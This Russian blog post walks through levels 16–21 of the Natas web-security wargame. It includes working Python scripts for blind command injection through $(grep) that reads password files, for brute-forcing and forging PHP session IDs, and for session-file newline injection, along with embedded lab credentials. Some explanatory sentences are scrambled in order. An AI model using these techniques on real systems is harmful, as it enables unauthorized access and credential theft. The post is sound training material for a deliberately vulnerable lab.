Хабрахабр

Natas Web. Прохождение CTF площадки, направленной на эксплуатацию Web-уязвимостей. Часть 3

image

Каждый уровень имеет доступ к паролю следующего уровня. В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5. Все пароли также хранятся в файлах /etc/natas_webpass/.

Прошлые части: часть 1 и часть 2.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем. Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ.

Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях.

level 16

Судя по исходному коду, все служебные символы фильтруются, а передача «склейки» из двух файлов невозможна, так как строка передается в кавычках.

image

Используя конструкции типа $(cmd) можно контролировать вывод «key».

image

Идея такая:

  1. Если в конструкции grep -i «key» file.txt, key – пустая строка, то будет выводиться весь файл.
  2. Так как в файле с паролем всего одна строка, то мы можем контролировать ее вывод.
  3. За счет передачи регулярного выражения в grep внутри конструкции $(cmd), у нас либо будет выводиться строка с паролем (когда мы угадываем начало пароля) в параметр -i и из фала dictionary.txt не будет выведено ни одной строки, либо вместо строки с паролем будет пустая строка и будет выведен весь файл dictionary.txt.

import httplib
import urllib
import re
import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
count = 0 headers =
conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org")
headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0
passwd = ""
while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close()
print("Password : " + passwd)

image

Получили пароль.

level 17

Используем sqlmap по прошлому сценарию (из второй части).

image

image

image

Есть пароль.

level 18

Разберем исходный код.

image

Первым делом идет проверка, выставлены ли в браузере куки.(функция my_session_start()).

image

е. Так как в задании управлять кроме куки нечем, значит они должны быть выставлены, т. Проверка заполнения полей username и password. функция вернет false и в корневом коде мы пойдем в ветку else. Функция session_id() принимает случайное число в диапазоне от 1 до 640 (что очень странно, почему такое ограничение) и создает устанавливает конфигурации для функции session_start().

image

image

Если мы зашли как админ, то нам об этом сообщают и дают пароль для следующего уровня. Далее проверяется username == «admin».

image

Напишем брутфорсер, который будет заходить на страницу c id в диапазоне от 1 до 640.
Идея решения: для пользоватлей определен диапазон id.

import requests
from requests.auth import HTTPBasicAuth
import binascii
host = 'http://natas19.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')
params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

image

Получаем пароль при id = 119.

level 19

Так как код один и тот же, то и идея та же. Посмотрим cookie.

image

Раскодируем. Сторока в hex кодировке.

image

Осталось просто изменить код.

import requests
from requests.auth import HTTPBasicAuth
import binascii
host = 'http://natas19.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')
params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

image

Есть пароль.

level 20

После анализа исходного кода можно предположить, что внимания заслуживают 2 функции.

Но ключ выбирается случайно, а значение передается из поля ввода. Функция mywrite() записывает данные на каждой строке как ключ_значение.

image

Функция myread() проходит по всем строками считывает разделенные пробелом данные (ключ и значение).

image

Дело в том, что мы можем обойти логику приложения и записать сколько строк, сколько захотим. Мы увидим пароль только если в таком файле окажется строка «admin 1». Для этого мы должны послать строку вида «Значение0_ПереводСтроки_Ключ1_Значение1 и т.д.»

image

После того как значение запишется в файл, перезагрузим страницу, чтобы оно считалось из файла.

image

Забираем пароль.

level 21

Нам предоставляют две версии сайта. Дело в том, что cookie и session доступны для передачи между разными страницами на одном домене. Изучаем исходный код второго сайта. В сессию устанавливаются все принятые параметры. По аналогии с прошлыми уровнями следует установить admin => 1.

image

Просто добавим новый параметр admin со значением 1, перезагрузим страницу и выставим эти cookie на главную страницу.

image

image

Забираем пароль.

Вы можете присоединиться к нам в Telegram. Продолжение следует.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть